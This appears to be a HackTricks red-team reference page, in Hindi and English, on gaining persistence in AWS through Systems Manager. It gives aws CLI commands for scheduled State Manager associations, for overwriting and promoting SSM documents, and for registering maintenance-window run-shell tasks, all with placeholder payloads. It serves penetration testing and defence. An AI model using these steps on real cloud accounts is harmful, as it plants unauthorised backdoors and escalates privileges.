AWS - SSM Perssitence

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें

SSM

और जानकारी के लिए देखें:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

persistence के लिए ssm:CreateAssociation का उपयोग

ssm:CreateAssociation permission वाला attacker एक State Manager Association बना सकता है, ताकि SSM द्वारा managed EC2 instances पर commands automatically execute की जा सकें। इन associations को fixed interval पर run करने के लिए configure किया जा सकता है, जिससे वे interactive sessions के बिना backdoor-like persistence के लिए suitable होती हैं।

aws ssm create-association \
--name SSM-Document-Name \
--targets Key=InstanceIds,Values=target-instance-id \
--parameters commands=["malicious-command"] \
--schedule-expression "rate(30 minutes)" \
--association-name association-name

Note

यह persistence method तब तक काम करती है जब तक EC2 instance Systems Manager द्वारा managed है, SSM agent चल रहा है, और attacker के पास associations create करने की permission है। इसके लिए interactive sessions या explicit ssm:SendCommand permissions की आवश्यकता नहीं होती। Important: --schedule-expression parameter (e.g., rate(30 minutes)) को AWS के minimum interval of 30 minutes का पालन करना चाहिए। immediate या one-time execution के लिए, --schedule-expression को पूरी तरह omit करें — association creation के बाद एक बार execute होगी।

ssm:UpdateDocument, ssm:UpdateDocumentDefaultVersion, (ssm:ListDocuments | ssm:GetDocument)

ssm:UpdateDocument और ssm:UpdateDocumentDefaultVersion permissions वाला attacker existing documents को modify करके privileges escalate कर सकता है। इससे उस document के भीतर persistence भी संभव हो जाती है। Practical रूप से attacker को custom documents के names पाने के लिए ssm:ListDocuments की भी जरूरत होगी, और अगर attacker existing document के भीतर अपने payload को obfuscate करना चाहता है, तो ssm:GetDocument भी आवश्यक होगा।

aws ssm list-documents
aws ssm get-document --name "target-document" --document-format YAML
# You will need to specify the version you're updating
aws ssm update-document \
--name "target-document" \
--document-format YAML \
--content "file://doc.yaml" \
--document-version 1
aws ssm update-document-default-version --name "target-document" --document-version 2

नीचे एक example document है जिसका उपयोग किसी existing document को overwrite करने के लिए किया जा सकता है। आप यह सुनिश्चित करना चाहेंगे कि आपके document का type target document के type से match करे ताकि invokation में issues न हों। नीचे दिया गया document, उदाहरण के लिए, ssm:SendCommand और ssm:CreateAssociation examples को करेगा।

schemaVersion: '2.2'
description: Execute commands on a Linux instance.
parameters:
commands:
type: StringList
description: "The commands to run."
displayType: textarea
mainSteps:
- action: aws:runShellScript
name: runCommands
inputs:
runCommand:
- "id > /tmp/pwn_test.txt"

ssm:RegisterTaskWithMaintenanceWindow, ssm:RegisterTargetWithMaintenanceWindow, (ssm:DescribeMaintenanceWindows | ec2:DescribeInstances)

ssm:RegisterTaskWithMaintenanceWindow और ssm:RegisterTargetWithMaintenanceWindow permissions वाला attacker पहले existing maintenance window के साथ एक नया target register करके और फिर एक नया task update/register करके privileges escalate कर सकता है। इससे existing targets पर execution मिलती है, लेकिन नए targets register करके attacker अलग-अलग roles वाले compute को compromise भी कर सकता है। यह persistence भी allow करता है क्योंकि maintenance window के दौरान maintenance window tasks एक pre-defined interval पर execute होते हैं। Practical तौर पर attacker को maintenance window IDs पाने के लिए ssm:DescribeMaintenanceWindows की भी जरूरत होगी।

aws ec2 describe-instances
aws ssm describe-maintenance-window
aws ssm register-target-with-maintenance-window \
--window-id "<mw-id>" \
--resource-type "INSTANCE" \
--targets "Key=InstanceIds,Values=<instance_id>"
aws ssm register-task-with-maintenance-window \
--window-id "<mw-id>" \
--task-arn "AWS-RunShellScript" \
--task-type "RUN_COMMAND" \
--targets "Key=WindowTargetIds,Values=<target_id>" \
--task-invocation-parameters '{ "RunCommand": { "Parameters": { "commands": ["echo test > /tmp/regtaskpwn.txt"] } } }' \
--max-concurrency 50 \
--max-errors 100

Tip

सीखें और अभ्यास करें AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
सीखें और अभ्यास करें GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
सीखें और अभ्यास करें Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें